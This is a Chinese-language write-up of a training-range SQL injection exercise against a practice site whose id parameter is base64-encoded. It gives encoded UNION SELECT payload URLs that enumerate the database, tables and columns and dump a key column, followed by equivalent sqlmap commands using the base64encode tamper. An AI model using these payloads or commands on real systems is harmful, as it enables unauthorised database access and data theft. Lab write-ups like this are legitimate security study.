WEB安全-SQL注入实战-MySQL
前言
这是SQL注入的第十二篇，初级的SQL注入差不多已经打完了，非mysql的数据库我因为没有学过暂时没有去尝试，其它的等以后有机会再搞，可能最近的靶场会打的少一些，因为课好像很多没听，要补一补了……
链接如下：https://www.mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe
正文
手工注入
首先明确目标
打开目标网页，如下所示
判断类型时，发现id后面的数据根据题目提示，应该是base64加密，解密后就是1，所以之后的数据处理时先base64加密后再输入
进行尝试时判断出是数字型，所以后面就容易多了
219.153.49.228:40385/show.php?id=LTEgb3IgMT0x
获得列数为2，判断回显位为1和2
http://219.153.49.228:40385/show.php?id=MSBvcmRlciBieSAy
http://219.153.49.228:40385/show.php?id=LTEgdW5pb24gc2VsZWN0IDEsMg==
爆出数据库名为 test
http://219.153.49.228:40385/show.php?id=LTEgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksMg==
爆出表名为 data
http://219.153.49.228:40385/show.php?id=LTEgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKQ==
爆出列为 id,title,main,thekey
http://219.153.49.228:40385/show.php?id=LTEgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2RhdGEn
爆出thekey表中的数据，获得key
http://219.153.49.228:40385/show.php?id=LTEgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksZ3JvdXBfY29uY2F0KHRoZWtleSkgZnJvbSB0ZXN0LmRhdGE=
关于sqlmap的tamper使用
写完后再次看到实训目标，对于tamper插件产生了兴趣，去了解了一下，原来是sqlmap自带的插件，方便我们去注入，具体可以看灼剑(Tsojan)安全团队的博客，写的很详细，链接如下：https://blog.csdn.net/weixin_42282189/article/details/121450011，注意博客中是.py的后缀，是在windows环境里运行的，在kali里面直接--tamper+插件名就可以使用
以本题为例进行使用，看看效果，首先前面的代码和sqlmap一样，但是由于本体是base64加密的，所以在后面模块名为base64encode，得出数据库
sqlmap -u http://219.153.49.228:40385/show.php?id=MQo= --current-db --batch --threads 10 --level 5 --tamper base64encode
爆出数据表，可能是多了一个base64加密，且不是布尔、时间盲注和报错注入的一种，没法规定模式，可能比较慢
sqlmap -u http://219.153.49.228:40385/show.php?id=MQo= -D test --tables --batch --threads 10 --level 5 --tamper base64encode
爆出列名
sqlmap -u http://219.153.49.228:40385/show.php?id=MQo= -D test -T data --columns --batch --threads 10 --level 5 --tamper base64encode
获取thekey列的数据，获取key
sqlmap -u http://219.153.49.228:40385/show.php?id=MQo= -D test -T data -C thekey --dump --threads 10 --level 5 --tamper base64encode
总结
这个靶场其实并不是很难，基本上有思路就是流程化作业，大家可以尝试一下，顺便了解一下tamper插件的使用